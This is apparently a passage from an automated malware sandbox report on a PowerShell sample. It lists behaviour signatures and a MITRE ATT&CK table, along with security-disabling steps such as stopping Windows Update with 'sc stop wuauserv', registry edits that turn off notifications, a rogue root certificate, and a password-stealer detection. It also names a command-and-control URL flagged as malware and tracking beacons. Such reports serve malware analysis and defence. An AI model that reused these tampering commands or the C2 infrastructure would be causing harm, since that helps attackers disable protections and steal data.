Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Disable Windows Notification Center

Source: C:\Windows\SysWOW64\reg.exe

Registry value created: DisableNotificationCenter 1

Jump to behavior

Disable Windows Toast Notifications

Source: C:\Windows\SysWOW64\reg.exe

Registry value created: ToastEnabled 0

Stops critical windows services

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\sc.exe sc stop wuauserv

Source: svchost.exe, 0000000F.00000002.2406865821.00000260AD902000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 0000000F.00000002.2406865821.00000260AD902000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 Blob

Jump to behavior

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Source: powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: LElevation:Administrator!new:%s%s{3E5FC7F9-9A51-4367-9063-A120244FBEC7}explorer.exe%s\explorer.exeS:(ML;;NRNWNX;;;LW)GetProcAddressLoadLibraryAHVCIEnabledSYSTEM\CurrentControlSet\Control\CI\StateEnabledSYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity

Stealing of Sensitive Information

Yara detected WebBrowserPassView password recovery tool

Source: Yara match	File source: 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6164, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	11 Windows Service	11 Windows Service	11 Masquerading	OS Credential Dumping	141 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	21 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	22 Modify Registry	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	1 DLL Side-Loading	21 Disable or Modify Tools	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	41 Virtualization/Sandbox Evasion	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	122 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SUS.ps1	0%	Virustotal		Browse
SUS.ps1	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\ALSysIO64.sys	0%	ReversingLabs

Source	Detection	Scanner	Label
http://pesterbdd.com/images/Pester.png(	0%	Avira URL Cloud	safe
https://t0.ssl.ak.dynamic.tiles.virtua	0%	Avira URL Cloud	safe
https://host85500.info:15322	100%	Avira URL Cloud	malware
https://t0.ssl.ak.dynamic	0%	Avira URL Cloud	safe
https://www.m.	0%	Avira URL Cloud	safe
https://t0.ssl.ak.dynxfchC	0%	Avira URL Cloud	safe
https://t0.ssl.ak.dynamic.tiles.virtu	0%	Avira URL Cloud	safe
http://crl.microsoftIG	0%	Avira URL Cloud	safe
https://histats.com%s/%s_%sntdll.dllLdrGetProcedureAddressNtUnmapViewOfSectionNtAllocateVirtualMemor	0%	Avira URL Cloud	safe
https://host85500.info:15322/gauxwasdds	100%	Avira URL Cloud	malware
https://www.sysinternals.com0	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png(-c	0%	Avira URL Cloud	safe
http://www.m.	0%	Avira URL Cloud	safe
http://crl.microC	0%	Avira URL Cloud	safe
https://host85500.info:15322/gauxwasdds(-c	100%	Avira URL Cloud	malware
http://http://www.http://m.http://www.m.https://https://www.https://m.https://www.m.www.wp.plimap.wp	0%	Avira URL Cloud	safe
https://t0.ssXhchC	0%	Avira URL Cloud	safe
https://t0.s	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
host85500.info	45.93.9.167	true	false		unknown
s4.histats.com	142.4.219.198	true	false		high

Contacted URLs

Name	Malicious	Reputation
https://s4.histats.com/stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_execution_not_detected	false	high
https://s4.histats.com/stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/b_dGVzdA==_	false	high
https://s4.histats.com/stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_error_5	false	high
https://s4.histats.com/stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_first_run_elevated_true	false	high
https://s4.histats.com/stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/a_dGVzdA==_	false	high
https://s4.histats.com/stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_error_5_b	false	high
https://s4.histats.com/stats/0.php?4926118&@f16&@g1&@h1&@i1&@vhttps://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_first_run_after_load_failure	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	false		high
https://histats.com%s/%s_%sntdll.dllLdrGetProcedureAddressNtUnmapViewOfSectionNtAllocateVirtualMemor	powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://host85500.info:15322	powershell.exe, 00000000.00000002.1271308420.0000016B64870000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://histats.com/a_$EeUjSnjmqSzMhWKdkeXgPMsrwHCf_$ljJBxxjrzUnOIGclTEMEYOEMTCeRTIRKCBHgXbr	powershell.exe, 00000000.00000002.1271308420.0000016B648E4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1370146191.0000024368681000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1367398062.000002436865A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1367935633.0000024368665000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1367080264.000002436865F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 0000000C.00000003.1367458872.0000024368641000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369864769.0000024368644000.00000004.00000020.00020000.00000000.sdmp	false		high
https://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_execution_not_detected;	powershell.exe, 00000004.00000002.2010194215.0000000007841000.00000004.00000020.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html(	powershell.exe, 00000004.00000002.1907575581.0000000005136000.00000004.00000800.00020000.00000000.sdmp	false		high
https://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_execution_not_detectedofrU	powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic	svchost.exe, 0000000C.00000003.1367692369.0000024368633000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://histats.com/OTEwNjQ2X0IyMDcxOUQyRTk0NTk4ODU=_execution_not_detectedoj	powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp	false		high
http://e5.o.lencr.org0	powershell.exe, 00000000.00000002.1271308420.0000016B6488D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.1271308420.0000016B64161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.0000000004FE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://s4.histats.com	powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.bingmapsportal.com	svchost.exe, 0000000C.00000002.1369073024.0000024368613000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1367398062.000002436865A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.histats.com/=I?T	powershell.exe, 00000004.00000002.2010194215.000000000787B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 0000000C.00000003.1367156916.000002436865D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.0000000005136000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.0000000005136000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 0000000C.00000003.1366866242.0000024368662000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369465929.000002436862B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtua	svchost.exe, 0000000C.00000003.1367692369.0000024368633000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs	svchost.exe, 0000000C.00000003.1367692369.0000024368633000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.1369657954.0000024368636000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=	svchost.exe, 0000000C.00000003.1367458872.0000024368641000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.alcpu.com/forums	powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2051674504.0000000009E4E000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp, ALSysIO64.sys.11.dr	false		high
http://crl.ver)	svchost.exe, 00000003.00000002.2412188793.00000212CE800000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.m.	powershell.exe, 00000004.00000002.1907575581.0000000006043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2050779309.0000000009E21000.00000020.00001000.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2042932378.0000000009137000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.00000000066B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 0000000C.00000003.1367422020.000002436864D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/V1/MapControlConfiguration/native/	svchost.exe, 0000000C.00000003.1367458872.0000024368641000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microsoftIG	powershell.exe, 00000004.00000002.2010194215.000000000787B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://s4.histats.com/stats/0.php?4926118&	powershell.exe, 00000004.00000002.2052386454.0000000009F73000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s4.histats.com/	powershell.exe, 00000004.00000002.2042932378.00000000090B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2010194215.000000000787B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/	svchost.exe, 0000000C.00000002.1370018467.0000024368659000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1367216741.0000024368658000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.1271308420.0000016B64387000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1907575581.0000000005136000.00000004.00000800.00020000.00000000.sdmp	false		high
